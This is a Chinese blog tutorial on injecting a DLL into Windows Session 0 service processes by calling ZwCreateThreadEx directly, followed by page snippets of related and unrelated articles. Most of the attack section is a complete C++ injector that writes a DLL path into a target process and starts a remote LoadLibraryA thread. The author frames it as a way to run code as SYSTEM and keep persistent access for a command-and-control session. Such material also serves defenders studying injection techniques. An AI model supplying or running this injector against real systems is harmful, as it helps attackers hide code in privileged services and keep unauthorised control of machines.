远程线程注入DLL突破session 0 隔离

0x00 前言

补充上篇的远程线程注入,突破系统SESSION 0 隔离,向系统服务进程中注入DLL。

0x01 介绍

通过CreateRemoteThread实现的远程线程注入,流程大致就是:

通过OpenProcess获取目标进程句柄。

通过VirtualAllocEx在目标进程空间中申请内存,通过WriteProcessMemory放入需要载入的dll的路径。

通过GetModuleHandleA获取诸如kernel32.dll这类系统dll的模块句柄,进而获取LoadLibraryA这类载入动态链接库的函数地址(固定)

通过CreateRemoteThread的参数传入目标进程对象句柄、写入到目标进程空间的dll路径、LoadLibraryA函数地址,实现中目标中创建多线程加载dll。

而如果想要突破SESSION 0隔离,实现远程线程注入,则是使用比CreateRemoteThread更底层的内核API ZwCreateThreadEx。

这里补充下SESSION 0隔离是什么。

SESSION 0 隔离:

https://docs.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)

https://docs.microsoft.com/zh-cn/previous-versions/ee663077(v=msdn.10)?redirectedfrom=MSDN

在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0。

而从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。

为了避免应用程序权限混乱造成的风险,微软提供了SESSION 0 隔离机制,而攻击者为了提升权限操作服务拥有的权限(SYSTEM)则又了突破SESSION 0 隔离。

这里ZwCreateThreadEx函数在不同位数的系统拥有不同的函数声明。

ZwCreateThreadEx函数声明:

#ifdef _WIN64
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif

为什么CreateRemoteThread不能实现系统服务进程DLL注入?

书里直接解释的是由于SESSION 0隔离机制在内核6.0之后(vista、7、8...),当创建一个进程后,并不会立即运行,通过先挂起进程,查看要运行的进程所在会话层之后再决定是否恢复进程运行(待逆向观察)。

而CreateRemoteThread实现内部调用了ZwCreateThreadEx创建远程线程,但是CreateSuspended的参数值为1导致线程无法恢复运行,导致DLL注入失败。

而我们只需要直接调用ZwCreateThreadEx,并在程序运行指定CreateSuspended为0即可实现远程线程注入DLL突破SESSION 0隔离。

0x02 编码实现

由于ZwCreateThreadEx函数在nydll.dll中没有声明,所以需要通过GetProcAddress获取ZwCreateThreadEx的函数地址来调用。

InjectDll.h

#ifndef _INJECT_DLL_H_
#define _INJECT_DLL_H_ #include <Windows.h> // 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName); #endif

Test_Session0_injectPID.cpp

// Test_Session0_injectPID.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
// #include <iostream>
#include "InjectDll.h" void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
} // 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0; // 打开注入进程,获取进程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
// 在注入进程中申请内存
dwSize = 1 + ::lstrlen(pszDllFileName);
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 向申请的内存中写入数据
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
return FALSE;
}
// 加载 ntdll.dll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA");
return FALSE;
}
// 获取ZwCreateThread函数地址
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread");
return FALSE;
}
// 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
ShowError("ZwCreateThreadEx");
return FALSE;
}
// 关闭句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll); return TRUE;
} int main(int argc, char* argv[])
{
#ifndef _WIN64
BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#else
BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#endif
if (FALSE == bRet)
{
std::cout << "Inject Dll Error.\n";
}
std::cout << "Inject Dll OK.\n";
return 0;
}

0x03 效果测试

通过procexp可查看进程所属session。

编写了多个位数的inject 程序,多个位数的dll。

结果发现:

x64 inject程序远程线程注入x64 dll到x64可行。

x64 inject程序远程线程注入x86 dll到x64可行,但是没成功到目标x64程序。

X86 inject程序远程线程注入x64 dll到x64不可行。

X86 inject程序远程线程注入x86 dll到x64不可行。

测试成功注入DLL到SESSION 0进程。

0x04 总结

会话隔离会导致诸多问题,比如一个c2的会话是system,不能截屏看到用户界面,只能以用户权限进程屏幕截屏。不过这里突破session 0到系统服务后可以方便维权,只要机器不关,就算用户退出登录,也可以持久维权。

0x05 参考

https://www.cnblogs.com/gnielee/archive/2010/04/07/session0-isolation-part1.html

https://www.cnblogs.com/gnielee/archive/2010/04/08/session0-isolation-part2.html

https://docs.microsoft.com/zh-cn/previous-versions/msdn10/Ee791007(v=MSDN.10)

https://docs.microsoft.com/zh-cn/previous-versions/ee663077(v=msdn.10)?redirectedfrom=MSDN

远程线程注入DLL突破session 0 隔离的更多相关文章

  1. 远程线程注入dll,突破session 0

    前言 之前已经提到过,远线程注入和内存写入隐藏模块,今天介绍突破session 0的dll注入 其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可 ...

  2. 远程线程注入DLL

    远程线程注入 0x00 前言 远程线程注入是一种经典的DLL注入技术.其实就是指一个新进程中另一个进程中创建线程的技术. 0x01 介绍 1.远程线程注入原理 画了一个图大致理解了下远程线程注入dll ...

  3. 关于突破 SESSION 0 隔离场景发现的一些问题

    0x00 Tricks 0x01 用ZwCreateThreadEx 在 Windows 10 下直接通过管理员权限+SeDebugPrivilege启用. 0x02 用CreateRemoteThr ...

  4. 恶意软件开发——突破SESSION 0 隔离的远线程注入

    一.前言 在Windows XP,Windows Server 2003以及更早的版本中,第一个登录的用户以及Windows的所有服务都运行在Session 0上,这样的做法导致用户使用的应用程序可能 ...

  5. 详细解读:远程线程注入DLL到PC版微信

    一.远程线程注入的原理 1.其基础是在 Windows 系统中,每个 .exe 文件在双击打开时都会加载 kernel32.dll 这个系统模块,该模块中有一个 LoadLibrary() 函数,可以 ...

  6. CreateRemoteThread远程线程注入Dll与Hook

    CreateRemoteThread虽然很容易被检测到,但是在有些场合还是挺有用的.每次想用的时候总想着去找以前的代码,现在在这里记录一下. CreateRemoteThread远程注入 DWORD ...

  7. 【windows核心编程】使用远程线程注入DLL

    前言 该技术是指通过在[目标进程]中创建一个[远程线程]来达到注入的目的. 创建的[远程线程]函数为LoadLibrary, 线程函数的参数为DLL名字, 想要做的工作在DLL中编写.  示意图如下: ...

  8. 微信 电脑版 HOOK(WeChat PC Hook)- 远程线程注入dll原理

    Windows加载dll的特性 1.Windows系统中,每个exe软件运行的时候,会加载系统模块kernel32.dll 2.所有加载进exe软件的系统模块kernel32.dll,内存地址都是一样 ...

  9. 远程线程注入突破SESSION 0

    远程线程注入突破SESSION 0 SESSION 0 隔离 在Windows XP.Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Se ...

随机推荐

  1. Cell Reports | 上海瑞金医院糜坚青等揭示组蛋白酰化/乙酰化修饰比率调控BRD4基因组分布

    ​ 景杰生物 | 报道 组蛋白翻译后修饰,被认为构成一类超越基因序列的"组蛋白密码",控制着遗传信息的组织层次及其在染色质层面的解读.组蛋白赖氨酸乙酰化是研究最早的一类组蛋白修饰, ...

  2. HCIA—(网络初相识)

    网络 IT--> 信息服务 -->数据底层 云计算 大数据 CT--> 通信服务 -->通信服务 构建数据通信的协议 ICT-->信息通信 数据 + 通信 数通 基础 R ...

  3. 面试官:你的App卡顿过吗?你是如何监控的?

    一.故事开始 面试官:平时开发中有遇到卡顿问题吗?你一般是如何监控的? 来面试的小伙:额...没有遇到过卡顿问题,我平时写的代码质量比较高,不会出现卡顿. 面试官:... 这回答似乎没啥问题,但是如果 ...

  4. GO语言安装以及国内镜像

    首先,下载GO语言,国内的话用 Go下载 - Go语言中文网 - Golang中文社区 (studygolang.com) 可能会快一点 然后根据自己的系统选择下载的包,我是win10,就选go1.1 ...

  5. DNS的正向解析与反向解析

    DNS域名解析服务(Domain Name System)是用于解析域名与IP地址对应关系的服务,功能上可以实现正向解析与反向解析: 正向解析:根据主机名(域名)查找对应的IP地址. 反向解析:根据I ...

  6. DFT、DTFT、DFS、FFT之间的关系

    DFT.DTFT.DFS.FFT.FT.FS之间的关系 FT和FS是研究连续信号的,在数字信号处理中不涉及. 主要是前四种的关系: DFT(Discrete Fourier Transform):离散 ...

  7. oracle给system用户增加sysdba和sysoper 角色

    第一步:先用sys用户登录到数据库 第二步:打开一个sql窗口,输入grant sysoper to system;  点击执行 第三步:等待执行完成之后,再执行grant sysdba to sys ...

  8. docker 安装mysql设置不区分表名大小写,创建minio,设置开机自启动

    环境deepin mysql : docker run -p 3306:3306 --name tyer-mysql --restart=always -v $PWD/conf:/etc/mysql/ ...

  9. L298N使用资料

    L298N驱动连接arduino小车电机(代码和使用): https://www.cnblogs.com/fsong/p/12309911.htmlarduino UNO 连接L298N驱动两个电机转 ...

  10. Windows安装Svn客户端

    一.下载程序 官网地址,选择最新64位下载. 下载完成 二.安装过程 点击下一步 点击下一步 选择安装目录 点击安装 安装完成 三.修改中文 下载中文包 下载完成 点击下一步 安装完成 点击设置 选择 ...